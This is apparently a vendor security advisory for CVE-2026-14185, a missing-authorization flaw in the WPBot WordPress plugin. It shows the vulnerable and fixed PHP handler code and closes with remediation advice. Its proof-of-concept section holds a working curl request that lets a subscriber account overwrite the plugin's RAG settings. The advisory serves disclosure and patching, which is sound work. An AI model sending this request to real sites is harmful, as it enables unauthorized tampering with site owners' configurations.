Skip to content
FortressDiscuss your projectMenu

CVE-2026-14185

WPBot AI ChatBot: Subscriber+ RAG Settings Update

Product
WPBot (WordPress plugin)
Versions
Before 8.2.0 · fixed in 8.2.0
Severity
MediumCVSS score 4.3 · WPScan
CVE
CVE-2026-14185, assigned by WPScan
Found by
Mustafa Ahmed, Fortress MSSP
Published
November 11, 2026CVE published by WPScan on July 21, 2026

Description

The WPBot WordPress plugin before 8.2.0 does not perform a capability or nonce check in one of its retrieval-augmented-generation settings handlers, allowing authenticated users with subscriber-level access to modify the WPBot WordPress plugin before 8.2.0's configuration.

From the CVE record · CWE-862 Missing Authorization

Technical analysis

In 8.1.0, rag_settings_option_callback() goes straight from its entry to reading RAG options from $_POST and saving them with update_option(). Its only precondition is that RAG is already enabled with an API key configured. It never calls wp_verify_nonce() or current_user_can(), so it neither restricts who may change these settings nor protects the request against cross site request forgery.

Vulnerable: includes/integration/openai/qcld-bot-openai.php, version 8.1.0
        public function rag_settings_option_callback()
		{
            if( (get_option('is_page_rag_enabled') == '1' && get_option('open_ai_api_key')) || (get_option('qcld_gemini_rag_enabled') == '1' && get_option('qcld_gemini_api_key'))){

            
                $rag_embed_pages = sanitize_text_field($_POST['rag_embed_pages'] ?? 0);
                $rag_embed_posts = sanitize_text_field($_POST['rag_embed_posts'] ?? 0);
                $rag_embed_str = sanitize_text_field($_POST['rag_embed_str'] ?? 0);
                $rag_auto_sync_enabled = sanitize_text_field($_POST['rag_auto_sync_enabled'] ?? 0);
            
                $rag_embed_cpts = isset($_POST['rag_embed_cpts']) ? $_POST['rag_embed_cpts'] : [];
                if(is_array($rag_embed_cpts)){
                    $rag_embed_cpts = array_map('sanitize_text_field', $rag_embed_cpts);
                }

                if (isset($_POST['is_page_rag_enabled'])) {
                    $is_rag_enabled = sanitize_text_field($_POST['is_page_rag_enabled']);
                    update_option('is_page_rag_enabled', $is_rag_enabled);
                    if($is_rag_enabled == 1){
                        update_option('is_asst_enabled', 0);

8.2.0 adds a guard at the start of the handler that stops with wp_send_json_error() unless the POSTed nonce verifies for the 'wp_chatbot' action and the current user has manage_options.

Fixed: includes/integration/openai/qcld-bot-openai.php, version 8.2.0
        public function rag_settings_option_callback()
		{
            $nonce = isset($_POST['nonce']) ? sanitize_text_field(wp_unslash($_POST['nonce'])) : '';
            if (!wp_verify_nonce($nonce, 'wp_chatbot') || !current_user_can('manage_options')) {
                wp_send_json_error(array('message' => esc_html__('Security check failed', 'chatbot')));
                wp_die();
            }
            if( (get_option('is_page_rag_enabled') == '1' && get_option('open_ai_api_key')) || (get_option('qcld_gemini_rag_enabled') == '1' && get_option('qcld_gemini_api_key'))){

Fortress’s reading of the public source code at the versions shown.

Proof of concept

As published by WPScan in its advisory on June 30, 2026.

Prerequisites:
- WPBot AI ChatBot <= 8.1.0 active, with a RAG backend enabled and its API key set (OpenAI or Gemini) - the plugin's normal RAG operating state.
- A subscriber account.

Steps (as the attacker, a Subscriber):
1. Log in as the subscriber.
2. Submit the RAG settings update with no nonce:
curl -s -b "<subscriber session>" \
  -d "action=qcld_rag_settings_option&rag_embed_pages=1&rag_embed_posts=1&rag_embed_str=ATTACKER_CONTROLLED&rag_auto_sync_enabled=1" \
  "https://victim.example/wp-admin/admin-ajax.php"
-> HTTP 200 {"status":"success"}

Result: the plugin's RAG options are overwritten with the attacker-supplied values and persist in the database. The handler performs no nonce and no capability check (its neighbouring settings handler correctly requires a nonce and the manage_options capability).

Severity

WPScan rates it 4.3 (medium). CISA’s ADP scores it 4.3 (medium) in the CVE record.

  • CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NCISA ADP

Remediation

Update WPBot AI ChatBot to 8.2.0 or later.

Disclosure timeline

  1. Fix committed to the plugin repository (r3508060).
  2. Version 8.2.0 released.
  3. CVE ID reserved by WPScan.
  4. WPScan advisory published.
  5. CVE published by WPScan.
  6. Published on this site.

Credit

Found and reported by Mustafa Ahmed of Fortress MSSP. The CVE record credits Mustafa Ahmed as finder and WPScan as coordinator.

WPScan's advisory lists Mustafa Ahmed as original researcher and submitter.

References